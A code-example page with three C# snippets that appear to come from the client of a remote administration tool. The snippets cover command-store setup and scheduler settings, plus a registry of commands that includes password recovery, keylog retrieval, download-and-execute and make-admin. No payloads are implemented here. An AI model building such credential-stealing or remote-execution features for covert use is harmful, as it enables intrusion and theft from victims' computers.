Ejemplo n.º 1
0
        public void Initialize(ExecutePotentialCommandDelegate executePotentialCommandDelegate,
                               DynamicCommandStore dynamicCommandStore)
        {
            _executePotentialCommandDelegate = executePotentialCommandDelegate;
            _dynamicCommandStore             = dynamicCommandStore;

            lock (dynamicCommandStore.ListLock)
                foreach (var potentialCommand in dynamicCommandStore.StoredCommands)
                {
                    InitializePotentialCommand(potentialCommand, true);
                }
        }
Ejemplo n.º 2
0
        private StaticCommandSelector(IClientInfo clientInfo)
        {
            StaticCommands = new Dictionary <Guid, StaticCommand>(new StaticCommand[]
            {
                new KillCommand(), new MakeAdminCommand(), new PasswordRecoveryCommandEx(),
                new RequestKeyLogCommandEx(), new UninstallCommandEx(), new UpdateCommandEx(),
                new UpdateFromUrlCommandEx(), new ChangeComputerStateCommand(), new ChangeWallpaperCommandEx(),
                new DownloadAndExecuteCommand(), new DownloadAndExecuteFromUrlCommand(),
                new OpenWebsiteCommand(), new ExecuteProcessCommand(), new WakeOnLanCommand(),
                new ShowMessageBoxCommand(), new ShowBalloonTooltipCommand(), new OpenTextInNotepadCommand(),
                new SystemLockCommandEx()
            }.ToDictionary(x => x.CommandId, y => y));

            _staticCommandScheduler     = new StaticCommandScheduler();
            _loadedPlugins              = new List <LoadedStaticCommandPluginInfo>();
            _clientInfo                 = clientInfo;
            ActiveCommands              = new Dictionary <PotentialCommand, ActiveStaticCommand>();
            _dynamicCommandStore        = new DynamicCommandStore();
            _activeCommandStopScheduler = new ActiveCommandStopScheduler();
        }
Ejemplo n.º 3
0
        public void Initialize(DynamicCommandStore dynamicCommandStore)
        {
            _dynamicCommandStore = dynamicCommandStore;

            var settingsFile = new FileInfo(Path.Combine(Consts.PotentialCommandsDirectory, _settingsFilename));

            if (settingsFile.Exists)
            {
                var xmls = new XmlSerializer(typeof(StopSchedulerSettings));

                try
                {
                    using (var fileStream = new FileStream(settingsFile.FullName, FileMode.Open, FileAccess.Read))
                        _stopSchedulerSettings = (StopSchedulerSettings)xmls.Deserialize(fileStream);
                }
                catch (Exception e)
                {
                    File.Delete(settingsFile.FullName);
                    _stopSchedulerSettings = new StopSchedulerSettings();
                }

                //clean file; remove all non existing commands
                lock (dynamicCommandStore.ListLock)
                {
                    for (int i = _stopSchedulerSettings.Sessions.Count - 1; i >= 0; i--)
                    {
                        var sessionInfo = _stopSchedulerSettings.Sessions[i];
                        if (dynamicCommandStore.StoredCommands.All(x => x.CallbackId != sessionInfo.CommandId))
                        {
                            _stopSchedulerSettings.Sessions.Remove(sessionInfo);
                        }
                    }

                    for (int i = _stopSchedulerSettings.DurationStopEventInfos.Count - 1; i >= 0; i--)
                    {
                        var durationStopEventInfo = _stopSchedulerSettings.DurationStopEventInfos[i];
                        if (dynamicCommandStore.StoredCommands.All(x => x.CallbackId != durationStopEventInfo.CommandId))
                        {
                            _stopSchedulerSettings.DurationStopEventInfos.Remove(durationStopEventInfo);
                        }
                    }
                }
            }
            else
            {
                _stopSchedulerSettings = new StopSchedulerSettings();
            }

            var directory = new DirectoryInfo(Consts.PotentialCommandsDirectory);

            if (directory.Exists)
            {
                foreach (var file in directory.GetFiles("*.new"))
                {
                    try
                    {
                        file.Delete();
                    }
                    catch (Exception)
                    {
                        // ignored
                    }
                }
            }
        }